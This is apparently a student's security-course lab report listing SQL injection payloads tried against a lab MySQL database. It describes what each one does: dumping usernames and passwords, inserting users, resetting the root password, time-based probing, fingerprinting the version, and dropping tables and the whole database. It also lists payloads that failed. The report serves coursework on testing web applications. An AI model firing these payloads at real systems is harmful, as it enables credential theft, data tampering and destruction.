Harwinddranath Muralitheran Student ID: 22254937

CITS3004 Project: Task 1

Tables:

1. users – username, upassword
2. address – username, address
3. students – username, upassword

Exploits:

1. a' OR 'a'='a
2. ' OR 1;-- '
3. ; INSERT INTO users VALUES (123,'password123');-- '
4. ' UNION SELECT * FROM users WHERE username LIKE '%
5. '; UPDATE users SET upassword = ‘878’ WHERE username = '123 '
6. '; ALTER TABLE users ADD COLUMN col2 int AFTER upassword;-- '
7. ‘ UNION SELECT table_name,table_type from information_schema.tables WHERE table_schema = 'users
8. ‘ UNION SELECT table_name, column_name from information_schema.columns WHERE table_schema = 'users
9. ‘ UNION SELECT SLEEP(10),1;# '
10. '; DROP TABLE users;#
11. '; UPDATE user SET authentication_string=PASSWORD("pass") WHERE user='root';#
12. '; DROP DATABASE users;#
13. ‘ UNION SELECT @@VERSION,1;# ’

Description for exploits:

1. Lists all users and their passwords in the table. Hackers are able to use this information to impersonate a different user and possibly steal their data, compromising the confidentiality of information.
2. Lists all users and their passwords in the table. Hackers are able to use this information to impersonate a different user and possibly steal their data, compromising the confidentiality of information.
3. Creates a user with the specified values, affecting the integrity of the values within the database. This allows hackers to perform malicious activities under a different user, not giving away their original identity.
4. Lists all users and their passwords in the table. Hackers are able to use this information to impersonate a different user and possibly steal their data, compromising the confidentiality of information.
5. Resets the password of userID = ‘123’ to ‘878’. Hackers could use the new credentials to login into the database and access the user’s information. This affects the integrity of the information stored in the database.
6. Adds a column in the table, affecting the integrity of the database.
7. Returns the type of table used for each instance, giving information regarding the structures of the table.
8. Lists the name of the tables and their respective column names, giving an idea of what information may be stored in the table.
9. A time-based attack, the Sleep() function provides a delay before outputting a value to the console. Using this, a hacker can deduce information regarding the vulnerability of the parameter. For example, if the server response is slow, it is likely that the application is based on MySQL.
10. Deletes the table and its associated data, compromising the accessibility of user information.
11. Resets the password of the root admin, compromising the integrity of the information.
12. Deletes the database along with all its information, making it inaccessible to its users.
13. Returns the version number of the database used. This particular database was running 5.7.27-0ubuntu0.18.04.1. This is database is operating on the MySQL Platform.

Exploits (non-working):

1. Commenting using ‘—’ would not work without having a an empty space character at the end of the query.
2. '; SELECT * FROM users WHERE username LIKE '% - did not work.
3. ' UNION SELECT * FROM address -- - did not work.
4. x'; INSERT INTO users VALUES ("123 ","abcdef")-- - Stacked queries did not work.